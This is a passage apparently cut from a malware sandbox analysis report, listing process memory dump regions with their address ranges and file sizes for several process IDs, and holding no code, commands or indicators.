                  • memory/3004-139-0x0000000000520000-0x00000000005AA000-memory.dmp

                    Filesize

                    552KB

                  • memory/3008-257-0x0000000000000000-mapping.dmp

                  • memory/3232-189-0x0000000004B50000-0x000000000504E000-memory.dmp

                    Filesize

                    5.0MB

                  • memory/3232-203-0x0000000002370000-0x0000000002371000-memory.dmp

                    Filesize

                    4KB

                  • memory/3232-233-0x0000000006390000-0x00000000063AE000-memory.dmp

                    Filesize

                    120KB

                  • memory/3232-228-0x0000000006200000-0x0000000006276000-memory.dmp

                    Filesize

                    472KB

                  • memory/3232-184-0x0000000000000000-mapping.dmp

                  • memory/3232-238-0x00000000067A0000-0x0000000006CCC000-memory.dmp

                    Filesize

                    5.2MB

                  • memory/3232-187-0x00000000008DA000-0x0000000000906000-memory.dmp

                    Filesize

                    176KB

                  • memory/3232-211-0x0000000005B40000-0x0000000005BA6000-memory.dmp

                    Filesize

                    408KB

                  • memory/3232-207-0x0000000002373000-0x0000000002374000-memory.dmp

                    Filesize

                    4KB

                  • memory/3232-237-0x00000000065D0000-0x0000000006792000-memory.dmp

                    Filesize

                    1.8MB

                  • memory/3232-204-0x00000000058A0000-0x00000000058EB000-memory.dmp

                    Filesize

                    300KB

                  • memory/3232-194-0x0000000005050000-0x0000000005656000-memory.dmp

                    Filesize

                    6.0MB

                  • memory/3232-205-0x0000000002372000-0x0000000002373000-memory.dmp

                    Filesize

                    4KB

                  • memory/3232-231-0x00000000062A0000-0x0000000006332000-memory.dmp

                    Filesize

                    584KB

                  • memory/3232-199-0x0000000005700000-0x000000000580A000-memory.dmp

                    Filesize

                    1.0MB

                  • memory/3232-202-0x0000000005850000-0x000000000588E000-memory.dmp

                    Filesize

                    248KB

                  • memory/3232-201-0x0000000002374000-0x0000000002376000-memory.dmp

                    Filesize

                    8KB

                  • memory/3232-200-0x0000000000400000-0x0000000000579000-memory.dmp

                    Filesize

                    1.5MB

                  • memory/3232-198-0x0000000000580000-0x00000000006CA000-memory.dmp

                    Filesize

                    1.3MB

                  • memory/3232-188-0x00000000024F0000-0x0000000002524000-memory.dmp

                    Filesize

                    208KB

                  • memory/3232-190-0x0000000002670000-0x00000000026A2000-memory.dmp

                    Filesize

                    200KB

                  • memory/3232-196-0x00000000056D0000-0x00000000056E2000-memory.dmp

                    Filesize

                    72KB

                  • memory/3340-123-0x0000000000000000-mapping.dmp

                  • memory/3340-135-0x0000000000400000-0x000000000055F000-memory.dmp

                    Filesize

                    1.4MB

                  • memory/3340-134-0x00000000006C0000-0x00000000006DC000-memory.dmp

                    Filesize

                    112KB

                  • memory/3768-281-0x0000000000000000-mapping.dmp

                  • memory/3896-282-0x0000000000000000-mapping.dmp